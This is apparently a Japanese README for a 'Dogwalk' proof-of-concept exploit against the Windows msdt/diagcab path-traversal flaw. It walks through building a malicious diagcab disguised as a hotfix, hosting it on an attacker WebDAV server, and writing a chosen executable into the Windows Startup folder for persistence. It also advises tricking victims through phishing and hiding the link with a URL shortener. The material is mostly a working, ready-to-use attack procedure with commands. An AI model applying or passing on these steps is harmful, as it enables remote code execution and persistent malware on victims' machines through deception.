
🐾Dogwalk PoC (diagcabファイルを使用してWindows上でRCEを取得する)
🚨 免責事項 🚨
このPoCにより、攻撃者はWindowsの被害者端末でリモートコードインジェクションを実行できます。
このリポジトリの目的は、<a href=https://github.com/irsl/microsoft-diagcab-rce-poc>最初のリポジトリよりもさらに使いやすいPoCを提供することです。
事前の許可なく使用しないでください!
引き起こされる被害と悪用の容易さを考慮すると、マイクロソフトが修正してくれることを願います
2022年7月更新: マイクロソフトはmsdtの脆弱性をまだパッチしていませんが、Microsoft Defenderはそれを検出できます
コアコンセプト: Microsoft の Diagcab テクノロジ (msdt) におけるパストラバーサル脆弱性で、リモートコード実行につながる可能性があります。
完全なアドバイザリはブログ記事にあります。
この脆弱性は2年間報告されています(@irsl による)が、まだ修正されていません!
このProof-of-Conceptは、悪意のある .diagcab ファイルをホストするwebdavサーバーをセットアップし、パストラバーサルを実行して悪意のある実行ファイルを C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup に書き込みます。このフォルダに実行ファイルを書き込むと、ユーザーがWindowsマシンを起動するたびに実行されます。これはブートログオン自動起動実行と呼ばれます。
つまり、基本的に必要なものは次のとおりです:
.diagcab ファイル.diagcab ファイルをダウンロードするリンク(フィッシング、ソーシャルエンジニアリング、その他何でも)を訪問します。(💡 ブラウザでURLを閲覧したときにファイルを自動的にダウンロードさせるには、Content-type: application/octet-stream レスポンスヘッダーを使用します)
ステップバイステップで進めるのが面倒な場合(または急いでいる場合)は次のとおりです:
./hurry-dogwalk.sh [WEBDAV_URL] # need docker
# Stop the server
./hurry-dogwalk.sh --clean
それ以外の場合は ↓↓
.diagcab ファイルを作成する.diagcfg は、1つ以上の診断パッケージへの参照を保持し、それらに関するメタ情報を提供する単純なXMLファイルです。.diagcab 拡張子で保存されます。最初に custom.diagcfg をビルドします:
./build-malicious-diagcfg.sh --url [WEBDAV_URL]
次に hotfix895214.diagcab をビルドします:
cabarc.exe n hotfix895214.diagcab custom.diagcfg
# run it on windows (or with wine). If you do not find carbarc.exe use http://jc.bellamy.free.fr/download/cabarc.exe or http://download.microsoft.com/download/platformsdk/cab/2.0/w98nt42kmexp/en-us/Cabsdk.exe
最後に、./webdav/diagcab-webdav-poc/config ディレクトリに移動します。
被害者マシンに転送したい実行ファイルを ./webdav/malicious ディレクトリ内に置きます... (ここでは定番の calc.exe を使用します)
...そしてサーバーを起動します:
cd ./webdav/diagcab-webdav-poc/
perl diagcab-webdav-poc.pl
悪意のある .diagcab は https://[WEBDAV_URL]/config/hotfix895214.diagcab で入手できます。あとは被害者を騙してこのリンクをクリックさせるだけです。
(💡URL短縮サービスを使用すると、不審に見えにくくなります)
🐾🐾
